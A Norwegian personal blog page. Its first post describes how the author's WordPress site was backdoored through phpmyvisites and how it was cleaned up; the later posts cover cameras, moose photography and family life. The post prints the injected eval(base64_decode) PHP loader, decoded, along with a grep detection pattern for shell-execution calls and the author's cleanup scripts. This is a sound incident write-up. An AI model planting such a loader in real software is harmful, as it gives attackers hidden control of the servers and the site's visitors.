Jaja.. Så skjedde det igjen. Det er to år siden sist. morkland.org ble hacket. Denne gangen skjedde det på tirsdag, og det ble oppdaget i går.

Jeg har i grunn en meg selv og min latskap å takke, men det er en kalkulert risiko. På morkland.org er flere filer og kataloger skrivbare for apache (webserveren). Dermed er det mulig å oppgradere wordpress osv med et enkelt klikk i administrasjonspanelet. Men å ha skriverettigheter til php-filer er jo galmanns verk i en sikkerhetssammenheng.

Grunnen til at jeg likevel har gjort dette er fordi jeg er så lat, og at jeg dermed tidligere endte med å oppgradere alt for sent når det kom nye versjoner. Slik ble jeg hacket forrige gang: Jeg var noen dager for seint ute med en sikkerhetpatch, og vips var det gjort. Derfor har jeg valgt å ta denne risikoen og heller ha en enkel måte å oppgradere raskt på.

Nok unnskyldninger. Denne gangen var det ikke wordpress som hadde skylden, men et statistikkverktøy: phpmyvisites. Denne benytter et bibliotek for clickheat som var implementert dårlig. Det muliggjør lagring av php-kode i en txt-fil. Denne kan så kjøres ved å manipulere GET-parametere i kallet av siden.

Folkene bak phpmyvisites sendte ut en mail til sine brukere på fredag (takk og pris for at jeg har som vane å melde meg på e-postlister for sikkerhetsadvarsler etc. for de verktøyene jeg bruker). Jeg sjekket umiddelbart sidene våre på morkland.org, og ganske riktig; samtlige php-filer var endret tre dager tidligere.

Etter dette hadde jeg to valg: Slette alt og legge det inn på nytte. Det var for meg ikke et alternativ siden jeg har så my kode som er manuelt endret. Eller jeg kunne prøve å vaske vekk endringene fra hackeren. Den oppvåkte leser vil nå spørre meg om hvorfor jeg ikke tok utgangspunkt i siste backup som var ren. Det burde jeg jo ha gjort, men, mumle mumle, den er litt gammel.

Først måtte jeg finne ut hva som var endret. I samtlige php-filer fant jeg kode som dette:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJ
iYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9jdXN0
b21lcnMvbW9ya2xhbmQub3JnL21vcmtsYW5kLm9yZy9odHRwZC53d3cvYmxvZy93cC1
pbmNsdWRlcy9qcy90aW55bWNlL3BsdWdpbnMvaW5saW5lcG9wdXBzL3NraW5zL2NsZW
FybG9va3MyL2ltZy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU
1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0
aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3R
hcnQoJ2Rnb2JoJyk7fX19')); ?>

Det de har gjort her er å pakke inn php-koden som kjøres med base64-enkoding (som f.eks. også brukes i mail). Denne dekodes og kjøres så. La oss se på den utpakkede verjsonen:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){
  $GLOBALS['mfsn']='[path]/img/style.css.php';
  if(file_exists($GLOBALS['mfsn'])){
     include_once($GLOBALS['mfsn']);
     if(function_exists('gml')&&function_exists('dgobh')){
       ob_start('dgobh');
     }
   }
}

All koden lå i én linje, og [path] var full path på vår server til nevnte fil. OK. Så her drar de inn enda mer gnøkka fra en fil de har lagt til: style.css.php. Og hva gjør den? Den var jo selvsagt også base64-enkodet, og inne holdt en ny eval(base64_decode([kode])). Hva i allverden er poenget med å dobbeltkode tro?

Denne innholdt MYE og uleselig kode som med maskingenererte funksjonsnavn (som f.eks. function FF97A1D7A5B771B21D423C3A9D78408C1($RC4A5B5E310ED4C323E04D72AFAE39F53)).

Denne fila tar inn kode fra parameter og kjører den med fin output for “brukeren”.

På tide å vaske filene. Først og fremst har jeg INGEN programmer som bruker eval(base64()). Dette kunne skrelles vekk: Inn med onkel perl og onkel regexp:

use strict;
use File::Path qw(mkpath);

while (<>) {
    chomp;
    do_file($_);
}

sub do_file {
    my ($file_path) = @_;

    $file_path =~ m/(.*)\/([^\/]+)/;
    my $root = $1;

    mkpath("cleaned/$root");

    open(IN, "20091218_hacked/$file_path") || die $!;
    open(OUT, ">cleaned/$file_path") || die $1;

    while (<IN>) {
        if (/eval/ && /base64/) {
            $_ = "";
        }
        print OUT;
    }
    close IN;
    close OUT;
}

Dermed kunne jeg fôre en liste med alle php-filene og pipe denne inn i scriptet. All koden de hadde lagt inn lå uten linjeskift, og det gjorde saken ganske enkel. De endrede filene kunne jeg dermed laste opp som erstatning for alle de som lå der fra før. Det ble litt over 1600 filer!

Men dette var i seg selv en ikke helt god nok test. På tide å sjekke om det var flere filer som gjorde rare ting:

grep -r "passthru(\|exec(\|shell_exec\|popen(\|system(" 20091218_hacked/ | grep -v "\.js:"

Denne sjekker om noen av av scriptene prøver å fyre av systemkommandoer på serveren. En del php-script gjør dette helt legitimt, så jeg måtte gå igjennom dem alle for å finne syndere. Det var en fire-fem script som gjorde tvilsomme saker.

I tillegg så lette jeg etter filer med rare navn som [something]_new.php [something].php.jpgg [something].php.pngg [something].jpg.php osv. Jeg lagde et script som fant slike filer for meg. Det viste seg at alle disse allered var dekket opp med lista jeg fant over filer med exec-type-kall.

Så var det bare å pipe lista over nye filer til dette scriptet som sletter dem på serveren:

use Net::FTP;

$ftp = Net::FTP->new("ftp.morkland.org", Debug => 0)
 or die "Cannot connect to ftp.morkland.org: $@";

$ftp->login("morkland.org",'PASSWORD')
 or die "Cannot login ", $ftp->message;

$ftp->cwd("/")
 or die "Cannot change working directory ", $ftp->message;

while (<>) {
 chomp;
 delete_this($_) if (not /^$/);
}

$ftp->quit;

sub delete_this {
 my ($file) = @_;
 print "deleting $file\n";

 $ftp->delete("$file")
 or print "ERROR: delete failed ", $ftp->message."\n";
}

Nå håper jeg bare jeg ikke har oversett noe, for da er jeg like langt. Det er nok med én oversett fil, så er hackeren inne med full kontroll. Sjekken hadde ikke holdt mål om det hadde vært for bruk i en profesjonell sammenheng, men for våre små private saker på morkland.org får det holde 🙂

phpmyvisites er fjernet fra serveren.  Siste versjon har rettet feilen, men jeg stoler ikke lenger på sakene, og ikke var de spesielt bra heller. De fungerte helt til det ble en del trafikk på siden, da gikk det helt sirup.

Vi får satse på at det tar en stund før det skjer igjen. Så artig er det ikke å scripte slikt i julestria.  Jeg får vel også holde et lite øye med serveren de neste ukene.

02. November 2009 · Write a comment · Categories: Foto · Tags: ,

Søndag gikk vi fra Nordre gravlund over Sankthanshaugen og til Jernbanetorget. Jeg hadde med fotosekken, men jeg fant liksom ikke de helt store bildene denne gangen. Men det ble da et par høstbilder.

04. October 2009 · 3 comments · Categories: Diverse · Tags: ,
Wii zapper

Wii zapper

For noen uker siden oppdaget jeg DealExtreme, en Hong Kong-basert nettbutikk som fører de meste av smådill, med svært lave priser og fri frakt. Her er det lett å gå amokk når man f.eks. får Bluetooth-dongler for USB for ca. 10 kroner inkl. frakt til Norge. Betaling skjer med PayPal.

Det er alltid greit å teste nye nettbutikker med småting først, for på den måten å teste at den er seriøs.  Jeg bestilte derfor et par ting til Nintendo Wii’en min: Et nytt ratt og en zapper (slags gevær man bruker til skytespill).  Rattet er en klone av den originale og koster en fraksjon.

Et lite hyssingtriks over A-knappen

Et lite hyssingtriks over A-knappen

Det eneste skytespillet jeg har for øyeblikket er Call of Duty 3.  Det er ikke laget for bruk med Zapperen, og resultatet er klønete konfigurasjon av knappene.

Spesielt bruken av A-knappen gjorde den umulig å bruke.  “Løsningen” ble å legge en hyssingstump over A-knappen og knyte den over tommelen.  Dermed kunne jeg presse ned A-knappen med tommelen.  Det fungerte delvis, men jeg må si at det hele var temmelig mislykket.  Zapperen blir nok neppe brukt noe videre før jeg får et spill som er laget for den.

På søndag var en tur i bigården i Maridalen. Birøktersesongen er på hell, og det er visst fotosesongen også hva angår mine interesser.

Jeg hadde med kamera ut dit for en gangs skyld, og hadde planer om litt makrofotografering. Det var alt for mye vind til det, så da prøvde jeg meg på reserveplanen som var landskap. Det hele ble nokså magert.

Dette bildet var vel det eneste som ligna noe som helst.  Den skapre rødbrune fargen på jordet fascinerte meg.

06. September 2009 · Write a comment · Categories: Foto · Tags:

I dag fikk jeg endelig testa det nye kameraet ute. Det var sterk sol, og ikke de enkleste forholdene for å ta noen bilder.

Nederst i posten ser dere noen bilder jeg tok i dag. Merk: Noen av bildene er beskåret, og rekodet i JPG med høy komprimering. Dere kan derfor oppleve JPG-distortion i detaljene. Det er ikke kameraets feil 🙂 Men jeg bare gjøre noen justeringer i bibble, og jeg må si jeg venter spent på når jeg får støtte for kameraets raw-format.

Kort oppsummert er jeg fortsatt svært fornøyd med kameraet. Det er raskt og fint å jobbe med. Linsehetta er jo litt irriterende, men siden jeg er vant med speilrefleks er det ikke noe stort problem for min del.

Kameraet har en makrofunksjon. Det fungerer jo ikke så verst til å være kompaktkamera. Jeg er jo vant til å jobbe med makrolinse og mellomringer på speilrefleksen, og det er jo noe helt annet. Den klarer ikke å fokusere når jeg går så nærme som jeg ønsker. Dessuten kommer det kjente problemet med kompaktkameraer at det ikke er mulig å få bakgrunnen ute av fokus. Med speilrefleksen ville jeg gått litt tilbake, zoomet litt inn for å få smalere vinkel mot bakgrunnen, og valgt en blender som var stor nok. En kjapp og grei affære. Det ville heller ikke vært noe problem at det var sterk sol i forhold til bakskjermen.

Bakskjermen var god i sollyset. Jeg foretrekker en god søker i en speilrefleks, men når jeg først må jobbe med en bakskjerm må jeg si den gjorde jobben ganske bra.

Kameraet har eksponeringskontroll, og det er et stort pluss. Man kan også velge et annet fokusområde enn midten. Det fungerer, men det er ingen kjapp affære å flytte dette slik det er på speilrefleksen. jeg sleit litt med dette da jeg tok bildet av bærene.

Man kan også styre styrken på blitzen, og på toppen av det hele støtter den auto-bracketing! Men ikke nok med det; disse overstyringene ligger ett trykk unna siden det er tildelt en egen knapp! I tillegg tilbyr kameraet histogram ved visning av bildet. Alt dette viser at kameraet er beregnet på entusiastene.

Jeg testa også å ta bilde av noen blomster mot en veldig lys himmel og brukte blitzen for å lyse opp blomstene. Jeg må si jeg er fornøyd med hva den lille blitztassen utretter i forhold til størrelsen sin.

Så med andre ord blir dette et fin-fint kamera å ha med seg på familietur når jeg ikke orker å drasse på speilrefleksen. Dette kameraet regner jeg med vi får med oss i langt flere anledninger enn det andre. Men noen erstatning for speilrefleksen på fototur er det imidlertid ikke! Langt derifra, men det ville være urettferdig å sammenligne slik.

05. September 2009 · Write a comment · Categories: Foto · Tags: ,

Panasonic Lumix LX3På torsdag kom endelig det nye kameraet vårt i posten, en Panasonic Lumix LX3.  Det har vært utsolgt for svarte LX3’er i Norge en stund, så det er over en måned siden vi bestillte.

Dette kameraet er ikke en erstatning for speilrefleksen (en Canon EOS 350D). Når jeg er på fototur er speilrefleksen et selvsagt valg.  Men svært ofte når familien er ute på tur har speilrefleksen en tendens til å bli hjemme pga. av sin størrelse. Heidi har også ønsket seg et mindre kamera til sitt bruk.

Når vi først skulle kjøpe et kompaktkamera var det fristende å kjøpe et skikkelig et som tar gode bilder.  Dermed sto det i grunnen mellom Canon Powershot G10 og Panasonic Lumix LX3.  G10 er et kjempefint kamera å ta bilder med. Jeg fikk  leke litt med det i redaksjonen til PC World da de testet dette, og jeg likte det svært godt. Det har bedre tele enn LX3 og er nok bedre støttet med sine RAW-filer.  Men det er en del større enn LX3.  Når vi først skulle kjøpe et kamera som var mindre enn speilrefleksen var det greit om det var enda litt mindre.

LX3 kan også ta RAW-format bilder (men Bibble 4 støtter det ikke, og Bibble 5 kommer jo aldri ser det ut for).  Det har god vidvinkel (24 mm), men dårlig tele.  Den har ekstremt god lysfølsomhet og har relativt lite støy.  Men (nesten følgelig) er de ikke størst på antall megapiksler.  LX3 har 10 MP mens G10 har 14,7 MP.  Panasonic har skjønt at antall megapiksler ikke er alt.

Den har innebygd bildestabilisator som “tjener inn” 1-2 blendertrinn.  Og med sin største blender på 2.0 klarer dette kameraet seg bra i dårlig innelys.  Den har en beskjeden innebygd blitz som de fleste kompaktkameraer har, men sin store blender og bildestabilisator synes jeg den klarer seg utmerket inne.

Optikken er levert av Leica (og jeg kan ikke si at jeg misliker å ha den kjente L-en nederst på kamerafronten).  Optikken er alt for ofte neglisjert på kompaktkameraer siden de aller fleste stirrer seg blind på størrelsen og antall megapiksler.

En stor ulempe er at linsa ikke går helt inn nå den er avskrudd.  I tillegg har den en linsehette.  Denne mangler på toppen av det hele en snor så den kan festes til kameraet.  Dette gjør at den ikke passer i de minste kameraveskene (jeg måtte levere tilbake en LowePro-veske i dag som var lang nok og bred nok, men som ikke hadde plass til linsa).  Den ble heller ikke levert med snor for å ha rundt hånda, men derimot med en snor for ha rundt halsen.  Med et kompaktkamera blir det for dumt å gå med snor rundt halsen.  Vi blir nødt til å se etter en snor for å ha rundt hånda.

Kameraet mangler også søker (du bruke bakskjermen), men har til gjengjeld en blitzsko for ekstern blitz! At søkeren forsvant av denne årsaken kan jeg leve fint med.  Vi skal ikke se bort ifra at den får seg en eksternblitz en gang.  Den innebygde blitzen sitter på toppen av kameraet, og man spretter opp når man manuelt “klikker” den opp.  Litt uvant, men i grunnen helt greit.

Kameraet responderer raskt og fint det lille jeg har fått testa det foreløpig.  Jeg gleder meg til å teste det mer, og det blir nok litt mer om dette kameraet her i bloggen min så snart jeg har fått lekt litt mer med det 🙂

Det ble tid til en liten fototur på lørdag også før vi dro på tur for å finne elg.

Det var litt for sent på dagen for å få gode sommerfuglbilder som var det egentlige målet (vi så lassevis av dem i samme område på en tur tidligere på dagen, men da uten kamera). Men det ble da et par bilder denne gangen også.

01. August 2009 · Write a comment · Categories: Foto · Tags:

Som jeg skrev i en post i går så fikk jeg altså et bilde av en elgokse på det “faste” stedet jeg og svigers har når det gjelder elg og rådyr. Her har vi sett dyr flere ganger enn vi ikke har sett noen de siste par åra.

I dag dro vi tilbake for å se om vi kunne få øye på oksen vi så i går. Han så vi ikke snurten av. Men langs kanten på et jorde på veg mot utkiksposten vi hadde sett oss ut så vi noen enorme spor av elg. Dette måtte være en rusk.

Da vi rundet et hjørne gikk vi sakte og kikket forsiktig over en topp, og der fikk vi øye på en stor okse, langt større enn den vi så i går. I etterkant ble det klart at dette var en 12-tagger.

Her gjaldt det å være svært forsiktig. Jeg hadde sett for meg at vi måtte sitte en times tid på post og hadde ikke klargjort noe som helst. At jeg aldri lærer. Denne bommerten har jeg nå gjort flere ganger på dette stedet.

Jeg måtte bytte linse på kameraet fra en 18-55mm til en 75-300mm som er den største jeg har. Siden jeg ikke så ofte trenger telelinse (jeg har lagt en del mer i en makrolinse) er dette en stakkarslig sak, men den er jo langt bedre enn standardlinsa til slike ting i hvertfall. En blender på 5.6 ved 300mm er jo ikke rare greiene.

Etter å ha bytta linse, fiska ut utløsersnor og fått frem stativet kunne jeg liste meg til en bedre posisjon.

Vi er fortsatt usikre på om den fikk ferten av oss eller ikke. Den var i hvertfall svært rolig, men om den var særdeles trygg på seg selv og situasjonen eller om den ikke hørte oss vet jeg ikke.

Her ser dere de beste bildene jeg fikk i dag. Det siste bildet er litt uklart, men det var litt artig siden den klødde seg litt på haka 🙂

01. August 2009 · Write a comment · Categories: Diverse · Tags: ,

Lars synes det er kjempeartig å leke med hundene til onkel og tante. Ony (dvs. Jonny, men det er litt vanskelig å si) er av rasen Toy Pomeranian, og han er en livlig ulldott.

Hato (Chako) er en Staffordshire Bull Terrier. Han er en kjempesnill muskelbunt som ikke gjør seg noe av at Lars løper hylende etter ham og rapper lekene. Det er generelt stas med mennesker. Hundeleker bør imidlertid passe seg som videoen under viser litt av.

Lars synes det er kjempestas å gå med Jonny i bånd, men det er litt kjedelig at vi voksne krever at han må vente når Jonny skal tisse.

31. July 2009 · Write a comment · Categories: Foto · Tags:

Jeg og svigers var ute en tur i bil for å se etter elg. Det er mye elg ute på veiene der de bor, og etter å ha kjørt en lang omveg fant vi elg på stedet vi tok en del elg og rådyrbilder i fjor.

Dessverre var avstanden ganske stor og det hadde begynt å bli ganske mørkt. Kanskje gjør vi et forsøk igjen i morgen og rigger oss til før elgen kommer. Blir iveren stor nok setter vi kanskje opp et kamuflasjetelt også 🙂

Disse bildene ble i hvertfall veldig dårlige. Bildet av elgen under var det beste jeg fikk i dag 🙂